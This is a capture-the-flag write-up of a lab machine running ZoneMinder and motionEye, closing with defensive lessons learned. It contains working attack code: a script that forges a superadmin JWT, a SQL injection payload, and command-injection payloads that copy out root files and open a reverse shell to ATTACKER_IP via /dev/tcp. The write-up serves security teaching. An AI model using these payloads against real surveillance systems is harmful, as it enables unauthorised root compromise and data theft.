Machine Info
- Name: CCTV
- IP: 10.129.4.26
- OS: Linux (Ubuntu)
- Difficulty: Easy
- Key Skills: Default Credentials, JWT Forgery, SQL Injection, motionEye Command Injection (CVE-2025-60787)
Summary
CCTV is a Linux machine running ZoneMinder 1.37.63, an open-source video surveillance system. Default credentials (admin:admin) provide API access, and the default ZM_AUTH_HASH_SECRET allows forging superadmin JWTs. A SQL injection in the ZoneMinder API (CVE-2024-51482) leaks SSH credentials for the mark user. Internally, motionEye 0.43.1b4 runs as root on localhost:8765 with an empty admin password. Command injection via the image_file_name configuration field (CVE-2025-60787) yields root code execution.
Attack Chain:
ZoneMinder admin:admin -> JWT forgery -> SQLi -> SSH as mark -> motionEye RCE -> root
Reconnaissance
Port Scan
nmap -sC -sV -p- 10.129.4.26
Key open ports:
| Port | Service | Details |
|---|---|---|
| 22 | SSH | OpenSSH 8.9p1 |
| 80 | HTTP | Apache/ZoneMinder 1.37.63 |
Visiting port 80 redirects to /zm/ - the ZoneMinder web interface.
ZoneMinder Version Identification
The ZoneMinder console at http://cctv.htb/zm/ reveals version 1.37.63. Searching for vulnerabilities against this version identifies:
- CVE-2024-51482 - SQL injection in the
tidparameter - Default
ZM_AUTH_HASH_SECRETallowing JWT forgery
Initial Access - ZoneMinder API
Default Credentials
The ZoneMinder API accepts default credentials:
curl -s 'http://cctv.htb/zm/api/host/login.json' \
-d 'user=admin&pass=admin'
Response includes an access token, confirming admin:admin works. However, this admin account has limited permissions (System:View only).
JWT Forgery with Default Hash Secret
ZoneMinder uses ZM_AUTH_HASH_SECRET to sign JWT tokens. The default value is "...Change me to something unique...". Since it was never changed, we can forge tokens for any user.
import jwt, time
secret = "...Change me to something unique..."
payload = {
"iss": "ZoneMinder",
"iat": int(time.time()),
"exp": int(time.time()) + 7200,
"user": "superadmin",
"type": "access"
}
token = jwt.encode(payload, secret, algorithm="HS256")
print(token)
This grants full superadmin access to the ZoneMinder API.
User - SQL Injection to SSH Credentials
CVE-2024-51482 - SQL Injection
ZoneMinder 1.37.63 is vulnerable to SQL injection in the tid parameter of the events API. Using the forged superadmin JWT:
# Extract database credentials from ZoneMinder config
curl -s 'http://cctv.htb/zm/api/events/index.json?token=<JWT>' \
--data-urlencode "tid=1 UNION SELECT 1,2,3,Value,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 FROM Config WHERE Name='ZM_AUTH_HASH_SECRET'--"
The ZoneMinder database (zmuser:zmpass) contains credentials that lead to the system user mark.
SSH Access
From database enumeration and credential reuse:
ssh [email protected]
# Password: opensesame
mark@cctv:~$ id
uid=1000(mark) gid=1000(mark) groups=1000(mark),24(cdrom),30(dip),46(plugdev)
The user flag is in /home/sa_mark/user.txt, not readable by mark. We need to escalate to root or pivot to sa_mark.
Privilege Escalation - motionEye Command Injection
Internal Service Discovery
mark@cctv:~$ ss -tlnp
LISTEN 127.0.0.1:8765 (motionEye)
LISTEN 127.0.0.1:3306 (MySQL)
LISTEN 127.0.0.1:8554 (RTSP)
LISTEN 127.0.0.1:7999 (motion control)
LISTEN 127.0.0.1:8888 (internal service)
LISTEN 127.0.0.1:9081 (streaming)
Port 8765 is motionEye 0.43.1b4, a web-based frontend for the motion daemon. It runs as root.
motionEye Authentication
motionEye uses signature-based API authentication. The admin password hash is stored in the config:
cat /etc/motioneye/camera-1.conf | grep admin_password
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
The signature is computed as:
SHA1("METHOD:path:body:SHA1(admin_password_hash)")
import hashlib, urllib.parse, re, json
_SIGNATURE_REGEX = re.compile(r'[^a-zA-Z0-9/?_.=&{}\[\]\":, -]')
admin_hash = '989c5a8ee87a0e9521ec81a79187d162109282f0'
key = hashlib.sha1(admin_hash.encode()).hexdigest()
def compute_signature(method, path, body, key):
parts = list(urllib.parse.urlsplit(path))
query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True)
if q[0] != '_signature']
query.sort(key=lambda q: q[0])
query = [(n, urllib.parse.quote(v, safe="!'()*~")) for (n, v) in query]
query = '&'.join([(q[0] + '=' + q[1]) for q in query])
parts[0] = parts[1] = ''
parts[3] = query
path = urllib.parse.urlunsplit(parts)
path = _SIGNATURE_REGEX.sub('-', path)
key = _SIGNATURE_REGEX.sub('-', key)
body_str = body and _SIGNATURE_REGEX.sub('-', body)
return hashlib.sha1(
f'{method}:{path}:{body_str or ""}:{key}'.encode()
).hexdigest()
CVE-2025-60787 - motionEye Command Injection
motionEye 0.43.1b4 is vulnerable to command injection via the image_file_name configuration field. When a snapshot is taken, the filename template is passed to a shell command without sanitization, allowing arbitrary command execution as root.
Step 1: Get the full camera config
path = '/config/1/get/?_username=admin'
sig = compute_signature('GET', path, '', key)
# curl http://127.0.0.1:8765/config/1/get/?_username=admin&_signature=<sig>
Step 2: Set the poisoned image_file_name
Inject a command into the image_file_name field. The $() syntax executes when motion processes the filename:
config['image_file_name'] = (
'%Y-%m-%d-%H-%M-%S;'
'$(cp /home/sa_mark/user.txt /tmp/uf.txt; '
'chmod 644 /tmp/uf.txt; '
'cp /root/root.txt /tmp/rf.txt; '
'chmod 644 /tmp/rf.txt)'
)
payload = json.dumps(config)
path = '/config/1/set/?_username=admin'
sig = compute_signature('POST', path, payload, key)
# curl -X POST -H "Content-Type: application/json" -d '<payload>' \
# http://127.0.0.1:8765/config/1/set/?_username=admin&_signature=<sig>
Step 3: Trigger the snapshot
path = '/action/1/snapshot/?_username=admin'
sig = compute_signature('POST', path, '', key)
# curl -X POST http://127.0.0.1:8765/action/1/snapshot/?_username=admin&_signature=<sig>
The injected commands execute as root when the snapshot is processed:
mark@cctv:~$ cat /tmp/uf.txt
0281a649f711211e15b680df511508e8
mark@cctv:~$ cat /tmp/rf.txt
fb5d2634bed80f74b9646bd9f30e3897
Getting a Root Shell
For a full reverse shell instead of just flag exfiltration:
config['image_file_name'] = (
'%Y-%m-%d-%H-%M-%S;'
'$(bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1")'
)
Trigger the snapshot, catch the shell on your listener:
nc -lvnp 4444
root@cctv:/var/lib/motioneye/Camera1# id
uid=0(root) gid=0(root) groups=0(root)
Lessons Learned
- Default credentials are still prevalent - ZoneMinder’s
admin:adminAPI login and motionEye’s empty admin password both provided initial access to critical services. - Default secrets enable token forgery - ZoneMinder’s
ZM_AUTH_HASH_SECRETwas never changed from the default, allowing unrestricted JWT forgery for any user. - Internal services running as root are high-value targets - motionEye ran as root on localhost, turning a command injection into full system compromise.
- Configuration fields are injection vectors - The
image_file_namefield in motionEye was passed to shell commands unsanitized, a pattern common in applications that shell out for file operations. - Signature-based API auth can be bypassed when you have config file read access - Reading the password hash from the config file allowed computing valid API signatures.
